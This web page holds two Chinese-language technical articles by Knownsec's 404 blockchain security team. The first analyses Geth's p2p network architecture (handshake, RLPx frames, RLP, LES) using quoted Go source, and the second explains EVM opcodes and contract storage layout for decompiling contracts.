-
以太坊网络架构解析
作者:0x7F@知道创宇404区块链安全研究团队
时间:2018年7月12日0x00 前言
区块链的火热程度一直以直线上升,其中以区块链 2.0 —— 以太坊为代表,不断的为传统行业带来革新,同时也推动区块链技术发展。
区块链是一种分布式数据存储、点对点传输、共识机制、加密算法等计算机技术的新型应用模式,这是一个典型的去中心化应用,建立在 p2p 网络之上;本文以学习和分析以太坊运作原理为目的,将以太坊网络架构作为一个切入点,逐步深入分析,最终对以太坊网络架构有个大致的了解。
通过学习以太坊网络架构,可以更容易的对网络部分的源码进行审计,便于后续的协议分析,来发现未知的安全隐患;除此之外,目前基于 p2p 网络的成熟的应用非常少,借助分析以太坊网络架构的机会,可以学习一套成熟的 p2p 网络运行架构。
本文侧重于数据链路的建立和交互,不涉及网络模块中的节点发现、区块同步、广播等功能模块。
0x01 目录
- Geth 启动
- 网络架构
- 共享密钥
- RLPXFrameRW 帧
- RLP 编码
- LES 协议
- 总结
其中第 3、4、5 三个小节是第 2 节「网络架构」的子内容,作为详细的补充。
0x02 Geth 启动
在介绍以太坊网络架构之前,首先简单分析下 Geth 的整体启动流程,便于后续的理解和分析。
以太坊源码目录
123456789101112131415161718192021222324252627282930313233343536373839tree -d -L 1.├── accounts 账号相关├── bmt 实现二叉merkle树├── build 编译生成的程序├── cmd geth程序主体├── common 工具函数库├── consensus 共识算法├── console 交互式命令├── containers docker 支持相关├── contracts 合约相关├── core 以太坊核心部分├── crypto 加密函数库├── dashboard 统计├── eth 以太坊协议├── ethclient 以太坊RPC客户端├── ethdb 底层存储├── ethstats 统计报告├── event 事件处理├── internal RPC调用├── les 轻量级子协议├── light 轻客户端部分功能├── log 日志模块├── metrics 服务监控相关├── miner 挖矿相关├── mobile geth的移动端API├── node 接口节点├── p2p p2p网络协议├── params 一些预设参数值├── rlp RLP系列化格式├── rpc RPC接口├── signer 签名相关├── swarm 分布式存储├── tests 以太坊JSON测试├── trie Merkle Patricia实现├── vendor 一些扩展库└── whisper 分布式消息35 directories初始化工作
Geth 的
main()
函数非常的简洁,通过app.Run()
来启动程序:1234567<span class="k">[./cmd/geth/main.go]</span><span class="na">func main() {</span><span class="na">if err :</span><span class="o">=</span> <span class="s">app.Run(os.Args); err != nil {</span><span class="s"> fmt.Fprintln(os.Stderr, err)</span><span class="s"> os.Exit(1)</span><span class="s"> }</span><span class="na">}</span>其简洁是得力于 Geth 使用了
gopkg.in/urfave/cli.v1
扩展包,该扩展包用于管理程序的启动,以及命令行解析,其中app
是该扩展包的一个实例。在 Go 语言中,在有
init()
函数的情况下,会默认先调用init()
函数,然后再调用main()
函数;Geth 几乎在./cmd/geth/main.go#init()
中完成了所有的初始化操作:设置程序的子命令集,设置程序入口函数等,下面看下init()
函数片段:12345678910111213141516<span class="k">[./cmd/geth/main.go]</span><span class="na">func init() {</span><span class="na">// Initialize the CLI app and start Geth</span><span class="na">app.Action</span> <span class="o">=</span> <span class="s">geth</span><span class="s"> app.HideVersion = true // we have a command to print the version </span><span class="s"> app.Copyright = "Copyright 2013-2018 The go-ethereum Authors"</span><span class="s"> app.Commands = []cli.Command{</span><span class="s"> // See chaincmd.go:</span><span class="s"> initCommand,</span><span class="s"> importCommand,</span><span class="s"> exportCommand,</span><span class="s"> importPreimagesCommand,</span><span class="s"> ...</span><span class="s"> }</span><span class="s"> ...</span><span class="na">}</span>在以上代码中,预设了
app
实例的值,其中app.Action = geth
作为app.Run()
调用的默认函数,而app.Commands
保存了子命令实例,通过匹配命令行参数可以调用不同的函数(而不调用app.Action
),使用 Geth 不同的功能,如:开启带控制台的 Geth、使用 Geth 创造创世块等。节点启动流程
无论是通过
geth()
函数还是其他的命令行参数启动节点,节点的启动流程大致都是相同的,这里以geth()
为例:1234567<span class="k">[./cmd/geth/main.go]</span><span class="na">func geth(ctx *cli.Context) error {</span><span class="na">node :</span><span class="o">=</span> <span class="s">makeFullNode(ctx)</span><span class="s"> startNode(ctx, node)</span><span class="s"> node.Wait()</span><span class="s"> return nil</span><span class="na">}</span>其中
makeFullNode()
函数将返回一个节点实例,然后通过startNode()
启动。在 Geth 中,每一个功能模块都被视为一个服务,每一个服务的正常运行驱动着 Geth 的各项功能;makeFullNode()
通过解析命令行参数,注册指定的服务。以下是makeFullNode()
代码片段:123456789101112131415161718<span class="k">[./cmd/geth/config.go]</span><span class="na">func makeFullNode(ctx *cli.Context) *node.Node {</span><span class="na">stack, cfg :</span><span class="o">=</span> <span class="s">makeConfigNode(ctx)</span><span class="na">utils.RegisterEthService(stack, &cfg.Eth)</span><span class="na">if ctx.GlobalBool(utils.DashboardEnabledFlag.Name) {</span><span class="na">utils.RegisterDashboardService(stack, &cfg.Dashboard, gitCommit)</span><span class="na">}</span><span class="na">...</span><span class="na">// Add the Ethereum Stats daemon if requested.</span><span class="na">if cfg.Ethstats.URL !</span><span class="o">=</span> <span class="s">"" {</span><span class="s"> utils.RegisterEthStatsService(stack, cfg.Ethstats.URL)</span><span class="s"> }</span><span class="s"> return stack</span><span class="na">}</span>然后通过
startNode()
启动各项服务并运行节点。以下是 Geth 启动流程图:每个服务正常运行,相互协作,构成了 Geth:
0x03 网络架构
通过
main()
函数的调用,最终启动了 p2p 网络,这一小节对网络架构做详细的分析。三层架构
以太坊是去中心化的数字货币系统,天然适用 p2p 通信架构,并且在其上还支持了多种协议。在以太坊中,p2p 作为通信链路,用于负载上层协议的传输,可以将其分为三层结构:- 最上层是以太坊中各个协议的具体实现,如 eth 协议、les 协议。
- 第二层是以太坊中的 p2p 通信链路层,主要负责启动监听、处理新加入连接或维护连接,为上层协议提供了信道。
- 最下面的一层,是由 Go 语言所提供的网络 IO 层,也就是对
TCP/IP
中的网络层及以下的封装。
p2p 通信链路层
从最下层开始逐步分析,第三层是由 Go 语言所封装的网络 IO 层,这里就跳过了,直接分析 p2p 通信链路层。p2p 通信链路层主要做了三项工作:- 由上层协议的数据交付给 p2p 层后,首先通过 RLP 编码。
- RLP 编码后的数据将由共享密钥进行加密,保证通信过程中数据的安全。
- 最后,将数据流转换为 RLPXFrameRW 帧,便于数据的加密传输和解析。
(以上三点由下文做分析)
p2p 源码分析
p2p 同样作为 Geth 中的一项服务,通过「0x03 Geth 启动」中startNode()
启动,p2p 通过其Start()
函数启动。以下是Start()
函数代码片段:1234567891011121314151617181920<span class="k">[./p2p/server.go]</span><span class="na">func (srv *Server) Start() (err error) {</span><span class="na">...</span><span class="na">if !srv.NoDiscovery {</span><span class="na">...</span><span class="na">}</span><span class="na">if srv.DiscoveryV5 {</span><span class="na">...</span><span class="na">}</span><span class="na">...</span><span class="na">// listen/dial</span><span class="na">if srv.ListenAddr !</span><span class="o">=</span> <span class="s">"" {</span><span class="s"> if err := srv.startListening(); err != nil {</span><span class="s"> return err</span><span class="s"> }</span><span class="s"> }</span><span class="s"> ...</span><span class="s"> go srv.run(dialer)</span><span class="s"> ...</span><span class="na">}</span>上述代码中,设置了 p2p 服务的基础参数,并根据用户参数开启节点发现(节点发现不在本文的讨论范围内),随后开启 p2p 服务监听,最后开启单独的协程用于处理报文。以下分为服务监听和报文处理两个模块来分析。
服务监听
通过
startListening()
的调用进入到服务监听的流程中,随后在该函数中调用listenLoop
用一个无限循环处理接受连接,随后通过SetupConn()
函数为正常的连接建立 p2p 通信链路。在SetupConn()
中调用setupConn()
来做具体工作,以下是setupConn()
的代码片段:1234567891011<span class="k">[./p2p/server.go]</span><span class="na">func (srv *Server) setupConn(c *conn, flags connFlag, dialDest *discover.Node) error {</span><span class="na">...</span><span class="na">if c.id, err</span> <span class="o">=</span> <span class="s">c.doEncHandshake(srv.PrivateKey, dialDest); err != nil {</span><span class="s"> srv.log.Trace("Failed RLPx handshake", "addr", c.fd.RemoteAddr(), "conn", c.flags, "err", err)</span><span class="s"> return err</span><span class="s"> }</span><span class="s"> ...</span><span class="s"> phs, err := c.doProtoHandshake(srv.ourHandshake)</span><span class="s"> ...</span><span class="na">}</span>setupConn()
函数中主要由doEncHandshake()
函数与客户端交换密钥,并生成临时共享密钥,用于本次通信加密,并创建一个帧处理器RLPXFrameRW
;再调用doProtoHandshake()
函数为本次通信协商遵循的规则和事务,包含版本号、名称、容量、端口号等信息。在成功建立通信链路,完成协议握手后,处理流程转移到报文处理模块。下面是服务监听函数调用流程:
报文处理
p2p.Start()
通过调用run()
函数处理报文,run()
函数用无限循环等待事务,比如上文中,新连接完成握手包后,将由该函数来负责。run()
函数中支持多个命令的处理,包含的命令有服务退出清理、发送握手包、添加新节点、删除节点等。以下是run()
函数结构:12345678910111213141516<span class="k">[./p2p/server.go]</span><span class="na">func (srv *Server) run(dialstate dialer) {</span><span class="na">...</span><span class="na">for {</span><span class="na">select {</span><span class="na">case <-srv.quit: ...</span><span class="na">case n :</span><span class="o">=</span> <span class="s"><-srv.addstatic: ...</span><span class="s"> case n := <-srv.removestatic: ...</span><span class="s"> case op := <-srv.peerOp: ...</span><span class="s"> case t := <-taskdone: ...</span><span class="s"> case c := <-srv.posthandshake: ...</span><span class="s"> case c := <-srv.addpeer: ...</span><span class="s"> case pd := <-srv.delpeer: ...</span><span class="s"> }</span><span class="s"> }</span><span class="na">}</span>为了理清整个网络架构,本文直接讨论
addpeer
分支:当一个新节点添加服务器节点时,将进入到该分支下,根据之前的握手信息,为上层协议生成实例,然后调用runPeer()
,最终通过p.run()
进入报文的处理流程中。继续分析
p.run()
函数,其开启了读取数据和ping
两个协程,用于处理接收报文和维持连接,随后通过调用startProtocols()
函数,调用指定协议的Run()
函数,进入具体协议的处理流程。下面是报文处理函数调用流程
p2p 通信链路交互流程
这里整体看下 p2p 通信链路的处理流程,以及对数据包的封装。
0x04 共享密钥
在 p2p 通信链路的建立过程中,第一步就是协商共享密钥,该小节说明下密钥的生成过程。
迪菲-赫尔曼密钥交换
p2p 网络中使用到的是「迪菲-赫尔曼密钥交换」技术[1]。迪菲-赫尔曼密钥交换(英语:Diffie–Hellman key exchange,缩写为D-H) 是一种安全协议。它可以让双方在完全没有对方任何预先信息的条件下通过不安全信道创建起一个密钥。简单来说,链接的两方生成随机的私钥,通过随机的私钥得到公钥。然后双方交换各自的公钥,这样双方都可以通过自己随机的私钥和对方的公钥来生成一个同样的共享密钥(shared-secret)。后续的通讯使用这个共享密钥作为对称加密算法的密钥。其中对于 A、B公私钥对满足这样的数学等式:
ECDH(A私钥, B公钥) == ECDH(B私钥, A公钥)
。共享密钥生成
在 p2p 网络中由doEncHandshake()
方法完成密钥的交换和共享密钥的生成工作。下面是该函数的代码片段:123456789101112<span class="k">[./p2p/rlpx.go]</span><span class="na">func (t *rlpx) doEncHandshake(prv *ecdsa.PrivateKey, dial *discover.Node) (discover.NodeID, error) {</span><span class="na">...</span><span class="na">if dial</span> <span class="o">=</span><span class="s">= nil {</span><span class="s"> sec, err = receiverEncHandshake(t.fd, prv, nil)</span><span class="s"> } else {</span><span class="s"> sec, err = initiatorEncHandshake(t.fd, prv, dial.ID, nil)</span><span class="s"> }</span><span class="s"> ...</span><span class="s"> t.rw = newRLPXFrameRW(t.fd, sec)</span><span class="s"> ..</span><span class="na">}</span>如果作为服务端监听连接,收到新连接后调用
receiverEncHandshake()
函数,若作为客户端向服务端发起请求,则调用initiatorEncHandshake()
函数;两个函数区别不大,都将交换密钥,并生成共享密钥,initiatorEncHandshake()
仅仅是作为发起数据的一端;最终执行完后,调用newRLPXFrameRW()
创建帧处理器。从服务端的角度来看,将调用
receiverEncHandshake()
函数来创建共享密钥,以下是该函数的代码片段:1234567891011<span class="k">[./p2p/rlpx.go]</span><span class="na">func receiverEncHandshake(conn io.ReadWriter, prv *ecdsa.PrivateKey, token []byte) (s secrets, err error) {</span><span class="na">authPacket, err :</span><span class="o">=</span> <span class="s">readHandshakeMsg(authMsg, encAuthMsgLen, prv, conn)</span><span class="s"> ...</span><span class="s"> authRespMsg, err := h.makeAuthResp()</span><span class="s"> ...</span><span class="s"> if _, err = conn.Write(authRespPacket); err != nil {</span><span class="s"> return s, err</span><span class="s"> }</span><span class="s"> return h.secrets(authPacket, authRespPacket)</span><span class="na">}</span>共享密钥生成的过程:
- 在完成 TCP 连接后,客户端使用服务端的公钥(node_id)加密,发送自己的公钥和包含临时公钥的签名,还有一个随机值 nonce。
- 服务端收到数据,获得客户端的公钥,使用椭圆曲线算法从签名中获得客户端的临时公钥;服务端将自己的临时公钥和随机值 nonce 用客户端的公钥加密发送。
- 通过上述两步的密钥交换后,对于客户端目前有自己的临时公私钥对和服务端的临时公钥,使用椭圆曲线算法从自己的临时私钥和服务端的临时公钥计算得出共享密钥;同理,服务端按照相同的方式也可以计算出共享密钥。
以下是共享密钥生成图示:
得出共享密钥后,客户端和服务端就可以使用共享密钥做对称加密,完成对通信的加密。
0x05 RLPXFrameRW 帧
在共享密钥生成完毕后,初始化了
RLPXFrameRW
帧处理器;其RLPXFrameRW
帧的目的是为了在单个连接上支持多路复用协议。其次,由于帧分组的消息为加密数据流产生了天然的分界点,更便于数据的解析,除此之外,还可以对发送的数据进行验证。RLPXFrameRW
帧包含了两个主要函数,WriteMsg()
用于发送数据,ReadMsg()
用于读取数据;以下是WriteMsg()
的代码片段:12345678910111213141516171819202122232425262728293031323334<span class="k">[./p2p/rlpx.go]</span><span class="na">func (rw *rlpxFrameRW) WriteMsg(msg Msg) error {</span><span class="na">...</span><span class="na">// write header</span><span class="na">headbuf :</span><span class="o">=</span> <span class="s">make([]byte, 32)</span><span class="s"> ...</span><span class="s"> // write header MAC</span><span class="s"> copy(headbuf[16:], updateMAC(rw.egressMAC, rw.macCipher, headbuf[:16]))</span><span class="s"> if _, err := rw.conn.Write(headbuf); err != nil {</span><span class="s"> return err</span><span class="s"> }</span><span class="na">// write encrypted frame, updating the egress MAC hash with</span><span class="na">// the data written to conn.</span><span class="na">tee :</span><span class="o">=</span> <span class="s">cipher.StreamWriter{S: rw.enc, W: io.MultiWriter(rw.conn, rw.egressMAC)}</span><span class="s"> if _, err := tee.Write(ptype); err != nil {</span><span class="s"> return err</span><span class="s"> }</span><span class="s"> if _, err := io.Copy(tee, msg.Payload); err != nil {</span><span class="s"> return err</span><span class="s"> }</span><span class="s"> if padding := fsize % 16; padding > 0 {</span><span class="s"> if _, err := tee.Write(zero16[:16-padding]); err != nil {</span><span class="s"> return err</span><span class="s"> }</span><span class="s"> }</span><span class="na">// write frame MAC. egress MAC hash is up to date because</span><span class="na">// frame content was written to it as well.</span><span class="na">fmacseed :</span><span class="o">=</span> <span class="s">rw.egressMAC.Sum(nil)</span><span class="s"> mac := updateMAC(rw.egressMAC, rw.macCipher, fmacseed)</span><span class="s"> _, err := rw.conn.Write(mac)</span><span class="s"> return err</span><span class="na">}</span>结合以太坊 RLPX 的文档[2]和上述代码,可以分析出
RLPXFrameRW
帧的结构。在一般情况下,发送一次数据将产生五个数据包:12345header // 包含数据包大小和数据包源协议header_mac // 头部消息认证frame // 具体传输的内容padding // 使帧按字节对齐frame_mac // 用于消息认证接收方按照同样的格式对数据包进行解析和验证。
0x06 RLP 编码
RLP编码 (递归长度前缀编码)提供了一种适用于任意二进制数据数组的编码,RLP 已经成为以太坊中对对象进行序列化的主要编码方式,便于对数据结构的解析。比起 json 数据格式,RLP 编码使用更少的字节。
在以太坊的网络模块中,所有的上层协议的数据包要交互给 p2p 链路时,都要首先通过 RLP 编码;从 p2p 链路读取数据,也要先进行解码才能操作。
以太坊中 RLP 的编码规则[3]。
0x07 LES 协议层
这里以 LES 协议为上层协议的代表,分析在以太坊网络架构中应用协议的工作原理。
LES 服务由 Geth 初始化时启动,调用源码 les 下的
NewLesServer()
函数开启一个 LES 服务并初始化,并通过NewProtocolManager()
实现以太坊子协议的接口函数。其中les/handle.go
包含了 LES 服务交互的大部分逻辑。回顾上文 p2p 网络架构,最终 p2p 底层通过
p.Run()
启动协议,在 LES 协议中,也就是调用 LES 协议的Run()
函数:123456789101112<span class="k">[./les/handle.go#NewProtocolManager()]</span><span class="na">Run: func(p *p2p.Peer, rw p2p.MsgReadWriter) error {</span><span class="na">...</span><span class="na">select {</span><span class="na">case manager.newPeerCh <- peer:</span><span class="na">...</span><span class="na">err :</span><span class="o">=</span> <span class="s">manager.handle(peer)</span><span class="s"> ...</span><span class="s"> case <-manager.quitSync:</span><span class="s"> ...</span><span class="s"> }</span><span class="na">}</span>可以看到重要的处理逻辑都被包含在
handle()
函数中,handle()
函数的主要功能包含 LES 协议握手和消息处理,下面是handle()
函数片段:123456789101112131415<span class="k">[./les/handle.go]</span><span class="na">func (pm *ProtocolManager) handle(p *peer) error {</span><span class="na">...</span><span class="na">if err :</span><span class="o">=</span> <span class="s">p.Handshake(td, hash, number, genesis.Hash(), pm.server); err != nil {</span><span class="s"> p.Log().Debug("Light Ethereum handshake failed", "err", err)</span><span class="s"> return err</span><span class="s"> }</span><span class="s"> ...</span><span class="s"> for {</span><span class="s"> if err := pm.handleMsg(p); err != nil {</span><span class="s"> p.Log().Debug("Light Ethereum message handling failed", "err", err)</span><span class="s"> return err</span><span class="s"> }</span><span class="s"> }</span><span class="na">}</span>在
handle()
函数中首先进行协议握手,其实现函数是./les/peer.go#Handshake()
,通过服务端和客户端交换握手包,互相获取信息,其中包含有:协议版本、网络号、区块头哈希、创世块哈希等值。随后用无线循环处理通信的数据,以下是报文处理的逻辑:12345678910111213<span class="k">[./les/handle.go]</span><span class="na">func (pm *ProtocolManager) handleMsg(p *peer) error {</span><span class="na">msg, err :</span><span class="o">=</span> <span class="s">p.rw.ReadMsg()</span><span class="s"> ...</span><span class="s"> switch msg.Code {</span><span class="s"> case StatusMsg: ...</span><span class="s"> case AnnounceMsg: ...</span><span class="s"> case GetBlockHeadersMsg: ...</span><span class="s"> case BlockHeadersMsg: ...</span><span class="s"> case GetBlockBodiesMsg: ...</span><span class="s"> ...</span><span class="s"> }</span><span class="na">}</span>处理一个请求的详细流程是:
- 使用
RLPXFrameRW
帧处理器,获取请求的数据。 - 使用共享密钥解密数据。
- 使用
RLP
编码将二进制数据序列化。 - 通过对
msg.Code
的判断,执行相应的功能。 - 对响应数据进行
RLP
编码,共享密钥加密,转换为RLPXFrameRW
,最后发送给请求方。
下面是 LES 协议处理流程:
0x08 总结
通过本文的分析,对以太坊网络架构有了大致的了解,便于后续的分析和代码审计;在安全方面来讲,由协议所带的安全问题往往比本地的安全问题更为严重,应该对网络层面的安全问题给予更高的关注。
从本文也可以看到,以太坊网络架构非常的完善,具有极高的鲁棒性,这也证明了以太坊是可以被市场所认可的区块链系统。除此之外,由于 p2p 网络方向的资料较少,以太坊的网络架构也可以作为学习 p2p 网络的资料。
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:
References:
[1] WIKI.DH: https://en.wikipedia.org/wiki/Diffie–Hellman_key_exchange
[2] Github.rlpx: https://github.com/ethereum/devp2p/blob/master/rlpx.md
[3] WIKI.RLP: https://github.com/ethereum/wiki/wiki/RLP
[4] Github.ZtesoftCS: https://github.com/ZtesoftCS/go-ethereum-code-analysis
[5] CSDN: https://blog.csdn.net/weixin_41814722/article/details/80680749
[6] CSDN: https://blog.csdn.net/itcastcpp/article/details/80305636
[7] ETHFANS: https://ethfans.org/bob/articles/864
[8] BITSHUO: https://bitshuo.com/topic/5975fbb14a7a061b785db8d5
[9] Github.go-ethereum: https://github.com/ethereum/go-ethereum本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/642/
没有评论 -
以太坊智能合约OPCODE逆向之理论基础篇
作者:Hcamael@知道创宇404区块链安全研究团队
在我们对etherscan等平台上合约进行安全审查时,常常会遇到没有公布Solidity源代码的合约,只能获取到合约的OPCODE,所以一个智能合约的反编译器对审计无源码的智能合约起到了非常重要的作用。
目前在互联网上常见的反编译工具只有porosity[1],另外在Github上还找到另外的反编译工具ethdasm[2],经过测试发现这两个编译器都有许多bug,无法满足我的工作需求。因此我开始尝试研究并开发能满足我们自己需求的反编译工具,在我看来如果要写出一个优秀的反汇编工具,首先需要有较强的OPCODE逆向能力,本篇Paper将对以太坊智能合约OPCODE的数据结构进行一次深入分析。
基础
智能合约的OPCODE是在EVM(Ethereum Virtual Machine)中进行解释执行,OPCODE为1字节,从
0x00 - 0xff
代表了相对应的指令,但实际有用的指令并没有0xff个,还有一部分未被使用,以便将来的扩展具体指令可参考Github[3]上的OPCODE指令集,每个指令具体含义可以参考相关文档[4]
IO
在EVM中不存在寄存器,也没有网络IO相关的指令,只存在对栈(stack),内存(mem), 存储(storage)的读写操作
- stack
使用的push和pop对栈进行存取操作,push后面会带上存入栈数据的长度,最小为1字节,最大为32字节,所以OPCODE从
0x60-0x7f
分别代表的是push1-push32
PUSH1
会将OPCODE后面1字节的数据放入栈中,比如字节码是0x6060
代表的指令就是PUSH1 0x60
除了
PUSH
指令,其他指令获取参数都是从栈中获取,指令返回的结果也是直接存入栈中- mem
内存的存取操作是
MSTORE
和MLOAD
MSTORE(arg0, arg1)
从栈中获取两个参数,表示MEM[arg0:arg0+32] = arg1
MLOAD(arg0)
从栈中获取一个参数,表示PUSH32(MEM[arg0:arg0+32])
因为
PUSH
指令,最大只能把32字节的数据存入栈中,所以对内存的操作每次只能操作32字节但是还有一个指令
MSTORE8
,只修改内存的1个字节MSTORE(arg0, arg1)
从栈中获取两个参数,表示MEM[arg0] = arg1
内存的作用一般是用来存储返回值,或者某些指令有处理大于32字节数据的需求
比如:
SHA3(arg0, arg1)
从栈中获取两个参数,表示SHA3(MEM[arg0:arg0+arg1])
,SHA3对内存中的数据进行计算sha3哈希值,参数只是用来指定内存的范围- storage
上面的stack和mem都是在EVM执行OPCODE的时候初始化,但是storage是存在于区块链中,我们可以类比为计算机的存储磁盘。
所以,就算不执行智能合约,我们也能获取智能合约storage中的数据:
12eth.getStorageAt(合约地址, slot)# 该函数还有第三个参数,默认为"latest",还可以设置为"earliest"或者"pending",具体作用本文不做分析storage用来存储智能合约中所有的全局变量
使用
SLOAD
和SSTORE
进行操作SSTORE(arg0, arg1)
从栈中获取两个参数,表示eth.getStorageAt(合约地址, arg0) = arg1
SLOAD(arg0)
从栈中获取一个参数,表示PUSH32(eth.getStorageAt(合约地址, arg0))
变量
智能合约的变量从作用域可以分为三种, 全局公有变量(public), 全局私有变量(private), 局部变量
全局变量和局部变量的区别是,全局变量储存在storage中,而局部变量是被编译进OPCODE中,在运行时,被放在stack中,等待后续使用
公有变量和私有变量的区别是,公有变量会被编译成一个constant函数,后面会分析函数之前的区别
因为私有变量也是储存在storage中,而storage是存在于区块链当中,所以相当于私有变量也是公开的,所以不要想着用私有变量来储存啥不能公开的数据。
全局变量的储存模型
不同类型的变量在storage中储存的方式也是有区别的,下面对各种类型的变量的储存模型进行分析
1. 定长变量
第一种我们归类为定长变量,所谓的定长变量,也就是该变量在定义的时候,其长度就已经被限制住了
比如定长整型(int/uint......), 地址(address), 定长浮点型(fixed/ufixed......), 定长字节数组(bytes1-32)
这类的变量在storage中都是按顺序储存
1234567uint a; // slot = 0address b; // 1ufixed c; // 2bytes32 d; // 3##a == eth.getStorageAt(contract, 0)d == eth.getStorageAt(contract, 3)上面举的例子,除了
address
的长度是160bits,其他变量的长度都是256bits,而storage是256bits对齐的,所以都是一个变量占着一块storage,但是会存在连续两个变量的长度不足256bits的情况1234address a; // slot = 0uint8 b; // 0address c; // 1uint16 d; // 1在opcode层面,获取a的值得操作是:
SLOAD(0) & 0xffffffffffffffffffffffffffffffffffffffff
获取b值得操作是:
SLOAD(0) // 0x10000000000000000000000000000000000000000 & 0xff
获取d值得操作是:
SLOAD(1) // 0x10000000000000000000000000000000000000000 & 0xffff
因为b的长度+a的长度不足256bits,变量a和b是连续的,所以他们在同一块storage中,然后在编译的过程中进行区分变量a和变量b,但是后续在加上变量c,长度就超过了256bits,因此把变量c放到下一块storage中,然后变量d跟在c之后
从上面我们可以看出,storage的储存策略一个是256bits对齐,一个是顺序储存。(并没有考虑到充分利用每一字节的储存空间,我觉得可以考虑把d变量放到b变量之后)
2. 映射变量
1mapping(address => uint) a;映射变量就没办法想上面的定长变量按顺序储存了,因为这是一个键值对变量,EVM采用的机制是:
SLOAD(sha3(key.rjust(64, "0")+slot.rjust(64, "0")))
比如:
a["0xd25ed029c093e56bc8911a07c46545000cbf37c6"]
首先计算sha3哈希值:1234567>>> from sha3 import keccak_256>>> data = "d25ed029c093e56bc8911a07c46545000cbf37c6".rjust(64, "0")>>> data += "00".rjust(64, "0")>>> keccak_256(data.encode()).hexdigest()'739cc24910ff41b372fbcb2294933bdc3108bd86ffd915d64d569c68a85121ec'#a["0xd25ed029c093e56bc8911a07c46545000cbf37c6"] == SLOAD("739cc24910ff41b372fbcb2294933bdc3108bd86ffd915d64d569c68a85121ec")我们也可以使用以太坊客户端直接获取:
1> eth.getStorageAt(合约地址, "739cc24910ff41b372fbcb2294933bdc3108bd86ffd915d64d569c68a85121ec")还有slot需要注意一下:
1234address public a; // slot = 0mapping(address => uint) public b; // slot = 1uint public d; // slot = 1mapping(address => uint) public c; // slot = 3根据映射变量的储存模型,或许我们真的可以在智能合约中隐藏私密信息,比如,有一个secret,只有知道key的人才能知道secret的内容,我们可以
b[key] = secret
, 虽然数据仍然是储存在storage中,但是在不知道key的情况下却无法获取到secret
。不过,storage是存在于区块链之中,目前我猜测是通过智能合约可以映射到对应的storage,storage不可能会初始化
256*256bits
的内存空间,那样就太消耗硬盘空间了,所以可以通过解析区块链文件,获取到storage全部的数据。上面这些仅仅是个人猜想,会作为之后研究以太坊源码的一个研究方向。
3. 变长变量
变长变量也就是数组,长度不一定,其储存方式有点像上面两种的结合
123uint a; // slot = 0uint[] b; // 1uint c; // 2数组任然会占用对应slot的storage,储存数组的长度(
b.length == SLOAD(1)
)比如我们想获取
b[1]
的值,会把输入的index
和SLOAD(1)
的值进行比较,防止数组越界访问然后计算slot的sha3哈希值:
12345678910>>> from sha3 import keccak_256>>> slot = "01".rjust(64, "0")>>> keccak_256(slot.encode()).hexdigest()'20ec45d096f1fa2aeff1e3da8a84697d90109524958ed4be9f6d69e37a9140a4'#b[X] == SLOAD('20ec45d096f1fa2aeff1e3da8a84697d90109524958ed4be9f6d69e37a9140a4' + X)# 获取b[2]的值> eth.getStorageAt(合约地址, "20ec45d096f1fa2aeff1e3da8a84697d90109524958ed4be9f6d69e37a9140a6")在变长变量中有两个特例:
string
和bytes
字符串可以认为是字符数组,bytes是byte数组,当这两种变量的长度在
0-31
时,值储存在对应slot的storage上,最后一字节为长度*2|flag
, 当flag = 1,表示长度>31,否则长度<=31下面进行举例说明
123uint i; // slot = 0string a = "c"*31; // 1SLOAD(1) == "c*31" + "00" | 31*2 == "636363636363636363636363636363636363636363636363636363636363633e"当变量的长度大于31时,
SLOAD(slot)
储存length*2|flag
,把值储存到sha3(slot)
1234uint i; // slot = 0string a = "c"*36; // 1SLOAD(1) == 36*2|1 == 0x49SLOAD(SHA3("01".rjust(64, "0"))) == "c"*364. 结构体
结构体没有单独特殊的储存模型,结构体相当于变量数组,下面进行举例说明:
12345678910111213struct test {uint a;uint b;uint c;}address g;Test e;# 上面变量在storage的储存方式等同于address g;uint a;uint b;uint c;函数
两种调用函数的方式
下面是针对两种函数调用方式说明的测试代码,发布在测试网络上: https://ropsten.etherscan.io/address/0xc9fbe313dc1d6a1c542edca21d1104c338676ffd#code
12345678910111213141516171819pragma solidity ^0.4.18;contract Test {address public owner;uint public prize;function Test() {owner = msg.sender;}function test1() constant public returns (address) {return owner;}function test2(uint p) public {prize += p;}}整个OPCODE都是在EVM中执行,所以第一个调用函数的方式就是使用EVM进行执行OPCODE:
12345# 调用test1> eth.call({to: "0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", data: "0x6b59084d"})"0x0000000000000000000000000109dea8b64d87a26e7fe9af6400375099c78fdd"> eth.getStorageAt("0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", 0)"0x0000000000000000000000000109dea8b64d87a26e7fe9af6400375099c78fdd"第二种方式就是通过发送交易:
123456# 调用test2> eth.getStorageAt("0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", 1)"0x0000000000000000000000000000000000000000000000000000000000000005"> eth.sendTransaction({from: eth.accounts[0], to: "0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", data: "0xcaf446830000000000000000000000000000000000000000000000000000000000000005"})> eth.getStorageAt("0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", 1)"0x000000000000000000000000000000000000000000000000000000000000000a"这两种调用方式的区别有两个:
- 使用call调用函数是在本地使用EVM执行合约的OPCODE,所以可以获得返回值
- 通过交易调用的函数,能修改区块链上的storage
一个调用合约函数的交易(比如
https://ropsten.etherscan.io/tx/0xab1040ff9b04f8fc13b12057f9c090e0a9348b7d3e7b4bb09523819e575cf651
)的信息中,是不存在返回值的信息,但是却可以修改storage的信息(一个交易是怎么修改对应的storage信息,是之后的一个研究方向)而通过call调用,是在本地使用EVM执行OPCODE,返回值是存在MEM中return,所以可以获取到返回值,虽然也可以修改storage的数据,不过只是修改你本地数据,不通过发起交易,其他节点将不会接受你的更改,所以是一个无效的修改,同时,本地调用函数也不需要消耗gas,所以上面举例中,在调用信息的字典里,不需要
from
字段,而交易却需要指定(设置from
)从哪个账号消耗gas。调用函数
EVM是怎么判断调用哪个函数的呢?下面使用OPCODE来进行说明
每一个智能合约入口代码是有固定模式的,我们可以称为智能合约的主函数,上面测试合约的主函数如下:
PS: Github[5]上面有一个EVM反汇编的IDA插件
